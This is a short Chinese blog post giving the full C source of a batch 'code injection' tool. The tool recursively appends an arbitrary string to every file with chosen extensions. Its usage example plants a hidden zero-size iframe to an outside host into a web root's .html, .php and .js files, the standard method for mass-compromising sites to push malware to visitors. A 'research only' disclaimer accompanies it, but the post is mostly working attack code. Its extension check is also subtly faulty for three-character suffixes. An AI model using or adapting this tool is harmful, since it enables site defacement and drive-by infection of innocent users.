|
下午和LDY讨论完一个浏览器的bug后,闲来无事,写了一小段代码。linux编译通过,windows下我没试应该也可以。一个C版本的批量注入代码工具。功能:遍历目录、子目录下所有文件,在文件的最后开始注入代码。目录位置,文件后缀名可以自定义。具体细节请查看下面的源代码。此工具纯属研究,请勿非法使用。
/* * Inject_Code 1.0 * * Compile with: * gcc -o inject_code inject_code.c * * Usage: * inject_code Inject_Documnet Inject_Code File_Type * inject_code /usr/www "<iframe src=http://www.example.com width=0 height=0 ></iframe>" .html .php .js * * written by xisigr <xisigr@gmail.com> 2009/4/28 * */
#include <stdio.h> #include <string.h> #include <sys/stat.h> #include <fcntl.h> #include <dirent.h> #define true 1 #define false 0
Inject(char *FilePath, char *Text) { FILE *fp; fp = fopen(FilePath, "rb+"); if(fp == NULL) { return false; } fseek(fp, 0, SEEK_END); fwrite(Text, sizeof(char), strlen(Text), fp); fwrite("\n", sizeof(char), strlen("\n"), fp); fclose(fp); return true; }
void List_Files(char *Source, char *Text, int Type_Number, char *Inject_File[10]) { DIR *dp; struct dirent *dir_entry; struct stat stat_info; int i; if((dp=opendir(Source))==NULL) { return; } chdir(Source); while((dir_entry=readdir(dp))!=NULL) { stat(dir_entry->d_name,&stat_info); if(S_ISDIR(stat_info.st_mode)) { if(strcmp(".",dir_entry->d_name)==0|| strcmp("..",dir_entry->d_name)==0) continue; List_Files(dir_entry->d_name, Text, Type_Number, Inject_File); }
else { int len; len = strlen(dir_entry->d_name); for(i=0; i<Type_Number; i++) { if(strncmp(&dir_entry->d_name[len-4],Inject_File[i],4)!=0) continue; if(Inject(dir_entry->d_name,Text)) printf("Inject ok\n"); else printf("Inject error\n"); } } } chdir(".."); closedir(dp); }
void Usage(char*name) { printf("usage: %s Inject_Documnet Inject_Code File_Type\n",name); printf("%s /usr/www \"<iframe src=http://www.example.com></iframe>\" .html .php .js\n", name); printf("written by xisigr <xisigr@gmail.com> 2009/4/28\n"); exit(0); }
int main(int argc,char *argv[]) { char *Source; char *Text; char *Inject_File[10]; int Type_Number; int w; int c; Source=argv[1]; Text=argv[2]; c=argc; Type_Number=c-3; if(c < 4) { Usage(argv[0]); } if(strlen(Text) > 200) { printf("Text is too long\n"); exit(0); } if(Type_Number > 10) { printf("Number_Type is too long\n"); exit(0); } for(w=0; w<Type_Number; w++) { Inject_File[w]=argv[--c]; } List_Files(Source, Text, Type_Number,Inject_File); return true; }
|
|
|